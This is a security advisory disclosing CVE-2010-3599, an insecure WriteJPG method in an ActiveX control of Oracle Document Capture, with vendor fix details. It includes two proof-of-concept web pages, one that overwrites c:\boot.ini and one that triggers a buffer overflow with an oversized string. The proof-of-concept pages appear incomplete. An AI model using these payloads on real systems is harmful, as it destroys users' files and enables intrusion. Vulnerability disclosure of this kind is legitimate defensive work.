ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory DSECRG-11-006 (internal 
#DSECRG-09-066) 


Application:                    Oracle Document Capture 
Versions Affected:              Oracle Document Capture 10.1.3.5
Vendor URL:                     http://oracle.com
Bugs:                           Insecure method. Buffer overflow.
Exploits:                       YES
Reported:                       14.12.2009
Vendor response:                15.12.2009
Date of Public Advisory:        24.01.2011
CVE:                            CVE-2010-3599
Author:                         Alexandr Polyakov from DSecRG 

Description
***********

Insecure method was founded in NCSECWLib ActiveX control component which is a 
part of  Oracle Document Capture .
One of the methods (WriteJPG) can be used to overwrite files on users system 
and also affected to buffer overflow.




Details
*******

Attacker can construct html page which call vulnerable function "WriteJPG" from 
ActiveX Object NCSECWLib.

Example 1 (file overwrite)
******* 


<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype  = "Sub WriteJPG ( ByVal OutputFile As String ,  ByVal Quality As 
Long ,  ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid     = "NCSECWLib.NCSRenderer"
argCount   = 3

arg1="c:\boot.ini"
arg2=1
arg3=True

target.WriteJPG arg1 ,arg2 ,arg3 

</script>
</html>


Example 2
*******

<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype  = "Sub WriteJPG ( ByVal OutputFile As String ,  ByVal Quality As 
Long ,  ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid     = "NCSECWLib.NCSRenderer"
argCount   = 3

arg1=String(13332, "A")
arg2=1
arg3=True

target.WriteJPG arg1 ,arg2 ,arg3 

</script></job></package>


References
**********

http://dsecrg.com/pages/vul/show.php?id=306
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


About
*****

Digital Security: 

Is one of the leading IT security companies in CEMEA, providing information 
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International subdivision of Digital Security company focused on research and 
software development for securing business-critical systems like: enterprise 
applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking 
software. DSecRG developed new product "ERPSCAN security suite for SAP 
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automated security assessments and compliance checks for SAP solutions.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com



Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: [email protected]  

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
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www.pcidssru.com www.pcidss.ru


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